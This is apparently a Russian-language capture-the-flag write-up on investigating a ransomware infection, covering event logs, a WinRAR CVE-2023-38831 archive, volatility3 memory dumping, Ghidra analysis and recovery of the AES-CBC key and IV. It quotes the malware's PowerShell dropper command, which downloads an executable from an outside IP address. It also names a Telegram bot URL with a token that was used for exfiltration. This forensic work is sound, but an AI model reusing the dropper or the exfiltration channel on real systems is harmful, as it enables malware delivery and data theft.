В логах event viewer
можно найти примерно момент времени, в который была развернута малварь, с помощью данной команды powershell
:
powershell -command ($drop=Join-Path -Path $env:APPDATA -ChildPath Rjomba.exe);
(New-Object System.Net.WebClient).DownloadFile('http://95.169.192.220:8080/prikol.exe', $drop);
Видно, что команда скачивает файл prikol.exe
в c:\Users\\<наш пользователь>\AppData\Roaming\Rjomba.exe
Примерно в то же время можно заметить какие-то события от Outlook
, так что мы посмотрели его файлы. Посмотрев в типичное место для файлов Outlook
, мы нашли файл [email protected]
- незашифрованный файл с письмами пользователя. Проанализировав его, мы нашли письмо с вложением - classic.rar
. Впоследствии, в файле был найден вредоносный код, который эксплуатировал уязвимость, чтобы исполниться.
Был сделан дамп памяти - с помощью отладочного функционала VirtualBox
сдампили физическиую память всей системы, далее с помощью volatility3
достали оттуда дамп памяти процесса Rjomba.exe
. Команды для volatility
:
python vol.py -f ~/Downloads/dump.dmp windows.pslist # узнать pid вируса
python vol.py -o . -f ~/Downloads/dump.dmp windows.memmap \
--pid 4168 --dump # получить дамп памяти процесса вируса из дампа всей памяти
Пользователь открыл фишинговое письмо и распаковал архив, при распаковке которого запустилась команда выше
http://95.169.192.220:8080 - понятно из команды:
powershell -command ($drop=Join-Path -Path $env:APPDATA -ChildPath Rjomba.exe);
(New-Object System.Net.WebClient).DownloadFile('http://95.169.192.220:8080/prikol.exe', $drop);
Вот, что было в архиве:
> unpacked
├── > 'TOP_SECRET.pdf '
└── # 'TOP_SECRET.pdf .cmd'
Этот архив эксплуатирует уязвимость CVE-2023-38831
в WinRar
, чтобы исполнить .cmd
файл, в котором и была команда, найденная в логах.
Проанализировав используемые функции API windows и дкомпилированный код файла Rjomba.exe
можно сделать следующие выводы:
- Использует
IsDebuggerPresent
иCheckRemoteDebuggerPresent
- встроенные функции библиотеки windows, которыя проверяют, отлаживается ли программа. Если программа отлаживается, файлы не шифруются, а процессы отладчиков убиваются с помощьюTerminateProcess
- Обфусцированные строчки
- Проверяет, стоят ли в нем брейкпоинты
- убивает все процессы, которые считает дебаггером. (
Taskmgr.exe
,procexp.exe
,procexp64a.exe
,AnVir.exe
,anvir64.exe
,dumpcap.exe
,ollydbg.exe
,tcpview.exe
,autoruns.exe
,autorunsc.exe
,filemon.exe
,procmon.exe
,regmon.exe
,Wireshark.exe
и другие, нашли в дампе памяти)
Посмотрев названия функций prikol.exe
в ghidra
, можно заметить названия вроде CBC_Encryption
, что означает что алгоритм - AES
в режиме CBC
. Длина ключа - 256 бит, мы смогли понять это, так как шифровали тексты разных размеров и смотрели на длину итогового шифртекста.
Далее с помощью strings
и grep -E
нашли все строки, длина которых совпадала с предполагаемой длиной ключа. Осмысленными из них были лишь две:
amogusamogusamogusamogusamogusam
sugomasugomasugomasugomasugomasu
Далее мы подошли к жюри и успешно сдали эти строчки.
Поискав в дампе памяти системы можно было найти url - https://api.telegram.org/bot7029575943:AAFNYmmW_QqqMcaHZ-DFRn3M05DptExeAGE
- значит, что злоумешленник отправлял данные боту в telegram
, а аутентифицировался с помощью ключа 7029575943:AAFNYmmW_QqqMcaHZ-DFRn3M05DptExeAGE
Так как AES
использовался в режиме CBC
, то чтобы расшифровать его, нам нужно было получить секретный initial vector. Поискав в дампе памяти и попробовав оттуда разные строки, было обнаружено что строка abababababababab
выдавала пароль, который принимали жюри.
Расшифрованное содержимое pass.txt
:
sFYZ#2z9VdUR9sm`3JRz